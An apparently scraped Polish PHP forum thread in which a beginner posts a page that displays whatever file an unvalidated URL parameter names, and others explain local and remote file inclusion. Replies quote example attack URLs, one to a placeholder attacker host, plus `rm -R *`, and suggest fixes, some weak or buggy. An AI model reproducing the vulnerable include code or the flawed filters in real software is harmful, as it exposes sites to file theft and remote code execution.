ďťż

(PHP) Niezabezpieczona stronka

       

Podstrony


telcocafe

Prowadzę bardzo małą i prostą stronkę. Ogromnym ułatwieniem okazało się użycie prostych komend PHP (wystarczyło zrobienie jednego menu i funkcja include). Od tamtej pory wystarczył jeden szablon. Jednak dostałem maila, że na stronkę łatwo się włamać (nie mam pojęcia o bezpieczeństwie) i zawiesiłem działalność. Kod w uproszczeniu wygląda następująco:
index2.php
<table><tbody>   <tr>       <td> <!-- MENU POCZATEK -->      <? include("menu.php"); ?> <!-- MENU KONIEC -->      </td>      <td> <!-- TRESC DOKUMENTU POCZATEK -->            <?            $urls=$id.".php"; /*zamiast html musimy podać jakie            rozszerzenia mają pliki, które chcemy wkleić */            if(file_exists("$urls"))            {            $file=fopen($urls,"r"); /* otwiera plik o ścieżce            dostępu równej wartości            zmiennej $id plus rozszerzenie */            while($linia=fgets($file, 99))            {            echo($linia); // wyświetla zawartość pliku $file            }            fclose($file); // zamyka plik            }            else{            echo("<p align=\"center\"><b>BŁË‡D 404</b><br><br>            Wyst±pił bł±d. Plik do którego prowadzi ten link NIE            ISTNIEJE !!!<br><br><a href=\"javascript:history.back()\">Powrót</a>");            } /* Tu pojawia się informacja, gdy wystąpi błąd */            ?> <!-- TRESC DOKUMENTU KONIEC --></td>   </tr> </tbody></table>
natomiast w uproszczeniu menu.php
<a href="index2.php?id=informacje">Newsy</a><br /> <a href="index2.php?id=informacje">Informacje</a><br /> <a href="index2.php?id=informacje">Inne</a><br />
Co tu możliwia włamanie i co trzeba dopisać, aby to było bezpieczne? Bardzo proszę o pomoc, bo już jestem ścigany za stronkę.



to jest cała stronka już? co na niej jest? tylko jakieś teksty tam wstawiasz? zrób sobie kopię na kompie (pewnie masz) i wstaw tą stronę na serwer. o takie sprawy zapytałbym na forum.cc-team.org

Stronka jest podana w dużym uproszczeniu, aby nie pisać zbędnych rzeczy. Chodzi mi o bezpieczeństwo wyżej napisanych skryptów php, gdyż są one jedynymi na te stronce.

PS. Wszystkie pliki mają rozszerzenie *.php. Czy to też czyni je mało bezpiecznymi?

starczy, ze wywola sie strone tak: index2.php?id=admin/config
i wywali ci na strone przykladowo plik z haslem admina (czy tam co innego, dziala tylko na register_globals=on).
uchronic sie przed tym mozna stosujac zamiast fread itd. include, badz dac w skrypcoe odpowiednie warunki (np. jezeli $id zawiera /, \, admin itp. to wywalic blad)



Jeśli nie chcesz stosować instrukcji SWITCH (by kod więcej ważył), zastąp nazwy dokumentów tylko cyframi z rozszerzeniem PHP, a następnie w skrypcie sprawdzaj, czy $_GET['id'] jest numeryczne:
if(is_numeric($_GET['id']) && isset($_GET['id'])) { exit; }
Nie stosuj $id, tylko $_GET['id'], jeśli to jest z paska adresu.


starczy, ze wywola sie strone tak: index2.php?id=admin/config
i wywali ci na strone przykladowo plik z haslem admina (czy tam co innego, dziala tylko na register_globals=on).
uchronic sie przed tym mozna stosujac zamiast fread itd. include, badz dac w skrypcoe odpowiednie warunki (np. jezeli $id zawiera /, \, admin itp. to wywalic blad)


Nie mam żadnego panelu admina, to był cały kod php na tej stronce :P
nie masz w kodzie zadnych funkcji zapisujacych, takze spoko. mozesz przywrocic strone. co najwyzej ktos jako wartosc $id poda jakis inny plik i wyswietli sie mu jakis syf

Lepiej zabezpieczyć.

Użyj funkcji (o ile $_GET['id'] nie będzie zawiera znaku "/"):
str_replace('/','',$_GET['id']);
Najlepiej na początku skryptu.

Następnie w kodzie PHP pozamieniaj $id na $_GET['id'].

@up

Troche nie rozumiem co to mu da ??? zmienna $_GET[]; jest zmienna superglobalna o ile sie nei myle. Działa tak ze w latwy sposób można przekazac cos z paska adresu do skryptu, a takie zabiegi raczej nie sa pożądane. Moim zdaniem zastosowanie tego co mu napisales mija sie z celem.
Użytkownik boryssek edytował ten post 13 czerwiec 2005, 22:13
JAk to są jedyne skrypty to jaki problem?? NA co niby mialby ci sie ktos wlamac.. nie jest to mozliwe.. przecie zw skrypcie hasla i loginu do ftp nie trzymasz, a panelu admina nie masz wiec o co tu sie martwic???


Użyj funkcji (o ile $_GET['id'] nie będzie zawiera znaku "/"):


Lepiej zabezpieczyć.

Użyj funkcji (o ile $_GET['id'] nie będzie zawiera znaku "/"):
str_replace('/','',$_GET['id']);
Najlepiej na początku skryptu.

Następnie w kodzie PHP pozamieniaj $id na $_GET['id'].

Widzę, że bardzo ostro się spieracie. Bo patrząc na wasze opinie, odnoszę wrażenie, że niektórzy próbują zabezpieczyć coś, co być może nie potrzebuje zabazpieczeń. Ale to tylko ja "zielony" w PHP (jeszcze, ale może się to zmieni) webmaster. To czy wogóle jest sens zabezpieczania tej stronki czy nie, skoro jest ona aż tak prosta?

jedyne co imho trza zabezpoieczyć to fragment    $urls=$id.".php"; jak ?? np.

$id = $_GET['id']; $strony = array( 'nazwa1', 'nazwa2', '...' ); if ( in_array( $id, $strony ) ) {  KOD WŁAŚCIWY; }

Ja polecam coś innego:

Pokażę jak to wygląda u mnie:

<?php                 if (isset($_GET['dzial'])) {      $_GET['dzial'].='.php';      if (file_exists($_GET['dzial'])) {       include($_GET['dzial']);         } else {                     include(error.php);             } } else {  include('info.php'); # A jeżeli nie to wkładamy plik info.php } ?>

Na wstępie opiszę skrypt.
Sprawdzam czy jest zadeklarowana zmienna $_GET['dzial']. Jezeli nie jest to znaczy ze ktos dopiero wszedl nas strone i pokazuje strone startowa info.php.
A jeżęli jest to dopisuje na końcu .php i sprawdzam czy taki plik istnieje. Jeżeli nie istnieje to pokazuje plik błędu jakiś ładnie napisany skrypt. A jeżeli istnieje to includuje dziada.

To nie jest jeszcze idealne. Ale powiem w czym tkwi problem:

orblem polega na tym, ze jak podam:

www.strona.pl/index.php?dzial=http://www.ztsrona.zlego.hackera/hackuj

To wgra mi się obcy skrypt php, który może być nie ciekawy i robić np.

`rm -R *`

i będzie nie wesoło bo pozbędę się strony całej.

Natomiast bardzo prosty arykuł jest na stronie:

strefa.php


Ja polecam coś innego:

Pokażę jak to wygląda u mnie:

<?php                 if (isset($_GET['dzial'])) {      $_GET['dzial'].='.php';      if (file_exists($_GET['dzial'])) {       include($_GET['dzial']);         } else {                     include(error.php);             } } else {  include('info.php'); # A jeżeli nie to wkładamy plik info.php } ?>

Na wstępie opiszę skrypt.
Sprawdzam czy jest zadeklarowana zmienna $_GET['dzial']. Jezeli nie jest to znaczy ze ktos dopiero wszedl nas strone i pokazuje strone startowa info.php.
A jeżęli jest to dopisuje na końcu .php i sprawdzam czy taki plik istnieje. Jeżeli nie istnieje to pokazuje plik błędu jakiś ładnie napisany skrypt. A jeżeli istnieje to includuje dziada.

To nie jest jeszcze idealne. Ale powiem w czym tkwi problem:

orblem polega na tym, ze jak podam:

www.strona.pl/index.php?dzial=http://www.ztsrona.zlego.hackera/hackuj

To wgra mi się obcy skrypt php, który może być nie ciekawy i robić np.

`rm -R *`

i będzie nie wesoło bo pozbędę się strony całej.

Natomiast bardzo prosty arykuł jest na stronie:

strefa.php

a nie lepiej
str_repleace('http://', 'odpier*** się!', $_GET['id'])

Wtedy uniemożliwi wgranie pliku z obcego serwera, ale umożliwi wgrywanie z innych katalogów.

a jak masz plik super_tajne_haslo.txt to można sobie je zainkludować :)

daltego nie powinno się dawać rozszerzeń txt :D

lol :) zamiast się ograniczać lepiej się zabezpieczyć

w końcu o tym jest temat :D

polecam takze przeczytanie tych 2 topicow:
bledy w php
Sql injection

  • zanotowane.pl
  • doc.pisz.pl
  • pdf.pisz.pl
  • nvm.keep.pl

  • Sitedesign by AltusUmbrae.